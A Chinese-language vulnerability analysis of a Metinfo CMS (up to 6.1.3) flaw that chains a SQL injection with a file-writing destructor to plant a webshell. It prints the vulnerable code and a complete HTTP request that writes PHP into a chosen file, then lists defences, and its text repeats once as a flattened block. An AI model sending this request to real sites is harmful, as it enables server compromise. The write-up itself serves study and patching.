某info <= 6.1.3前台getshell
字数 1107 2025-08-29 08:32:02

Metinfo <= 6.1.3 前台Getshell漏洞分析与利用

漏洞概述

Metinfo内容管理系统在6.1.3及以下版本存在一个严重的安全漏洞,攻击者可以通过结合前台SQL注入漏洞实现任意文件写入,最终获取服务器控制权限。

漏洞影响版本

  • Metinfo 6.x <= 6.1.2
  • Metinfo 6.1.3

漏洞原理分析

核心漏洞点

漏洞存在于app/system/include/class/web.class.php文件中,当满足条件$_M['form']['metinfonow'] == $_M['config']['met_member_force']时,web类的析构函数会将缓冲区的数据写入一个可控的文件中。

关键代码分析

  1. 文件写入条件

    if($_M['form']['metinfonow'] == $_M['config']['met_member_force']) {
        file_put_contents($_M['form']['html_filename'], ob_get_contents());
    }
    
  2. met_member_force生成机制

    $_M['config']['met_member_force'] = randStr(7); // 随机生成7个字符
    
  3. 可利用的子类
    uploadify类继承了web类,并提供了可控的缓冲区数据输出。

攻击流程

  1. 通过SQL注入获取met_member_force的值
  2. 利用uploadify类的doupfile方法将恶意代码写入缓冲区
  3. 触发析构函数将缓冲区内容写入可控文件

漏洞利用步骤

第一步:获取met_member_force值

对于不同版本:

  • 6.1.2及以下:利用留言板处的SQL注入
  • 6.1.3:利用反馈处的SQL注入

注入示例:

通过注入获取$_M['config']['met_member_force']的值

第二步:构造恶意请求

POST请求示例:

POST /metinfo/admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=qipwtxm&html_filename=1.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--

关键参数说明:

  • metinfonow: 必须等于通过注入获取的met_member_force
  • html_filename: 指定要写入的恶意文件路径
  • 文件名部分包含PHP代码<?php phpinfo();?>

第三步:触发文件写入

通过上传操作触发uploadify类的doupfile方法,该方法会将恶意代码输出到缓冲区,最终通过析构函数写入指定文件。

攻击流程图解

  1. 通过SQL注入获取met_member_force
  2. 构造恶意上传请求
  3. uploadify类处理上传并将恶意代码输出到缓冲区
  4. 析构函数检测到metinfonow匹配后将缓冲区写入文件
  5. 生成Webshell

防御措施

  1. 升级到最新版本
  2. 对用户输入进行严格过滤
  3. 限制文件写入权限
  4. 修复SQL注入漏洞

参考链接

  • [Metinfo6.0.0-6.1.2前台注入漏洞生命线]
  • 【技术分析】Metinfo利用sql注入快速getshell

注意事项

  1. 此漏洞需要结合SQL注入使用
  2. 不同版本需要不同的注入点
  3. 文件名和路径需要根据实际情况调整
  4. 攻击前应获取准确的met_member_force
Metinfo <= 6.1.3 前台Getshell漏洞分析与利用 漏洞概述 Metinfo内容管理系统在6.1.3及以下版本存在一个严重的安全漏洞,攻击者可以通过结合前台SQL注入漏洞实现任意文件写入,最终获取服务器控制权限。 漏洞影响版本 Metinfo 6.x <= 6.1.2 Metinfo 6.1.3 漏洞原理分析 核心漏洞点 漏洞存在于 app/system/include/class/web.class.php 文件中,当满足条件 $_M['form']['metinfonow'] == $_M['config']['met_member_force'] 时,web类的析构函数会将缓冲区的数据写入一个可控的文件中。 关键代码分析 文件写入条件 : met_ member_ force生成机制 : 可利用的子类 : uploadify 类继承了 web 类,并提供了可控的缓冲区数据输出。 攻击流程 通过SQL注入获取 met_member_force 的值 利用 uploadify 类的 doupfile 方法将恶意代码写入缓冲区 触发析构函数将缓冲区内容写入可控文件 漏洞利用步骤 第一步:获取met_ member_ force值 对于不同版本: 6.1.2及以下 :利用留言板处的SQL注入 6.1.3 :利用反馈处的SQL注入 注入示例: 第二步:构造恶意请求 POST请求示例: 关键参数说明: metinfonow : 必须等于通过注入获取的 met_member_force 值 html_filename : 指定要写入的恶意文件路径 文件名部分包含PHP代码 <?php phpinfo();?> 第三步:触发文件写入 通过上传操作触发 uploadify 类的 doupfile 方法,该方法会将恶意代码输出到缓冲区,最终通过析构函数写入指定文件。 攻击流程图解 通过SQL注入获取 met_member_force 值 构造恶意上传请求 uploadify 类处理上传并将恶意代码输出到缓冲区 析构函数检测到 metinfonow 匹配后将缓冲区写入文件 生成Webshell 防御措施 升级到最新版本 对用户输入进行严格过滤 限制文件写入权限 修复SQL注入漏洞 参考链接 [ Metinfo6.0.0-6.1.2前台注入漏洞生命线 ] 【技术分析】Metinfo利用sql注入快速getshell 注意事项 此漏洞需要结合SQL注入使用 不同版本需要不同的注入点 文件名和路径需要根据实际情况调整 攻击前应获取准确的 met_member_force 值